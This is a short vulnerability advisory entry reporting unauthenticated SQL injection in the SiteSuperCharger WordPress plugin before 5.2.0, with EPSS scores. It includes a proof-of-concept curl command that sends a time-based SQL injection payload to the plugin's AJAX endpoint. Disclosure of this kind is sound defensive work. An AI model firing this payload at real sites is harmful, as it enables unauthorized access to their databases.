SiteSuperCharger < 5.2.0 - Unauthenticated SQLi

2022-04-1100:00:00

cydave

sitesupercharger

unauthenticated

sql injection

EPSS

0.002

Percentile

57.6%

JSON

The plugin does not validate, sanitise and escape various user inputs before using them in SQL statements via AJAX actions (available to both unauthenticated and authenticated users), leading to Unauthenticated SQL Injections

curl https://example.com/wp-admin/admin-ajax.php --data '0=images+UNION+SELECT+1+from+wp_users+WHERE+1+%3d+(SELECT+SLEEP(1))+--+&1=.&action=processGroup'

EPSS

0.002

Percentile

57.6%

JSON

Related for WPEX-ID:6139E732-88F2-42CB-9DC3-42AD49731E75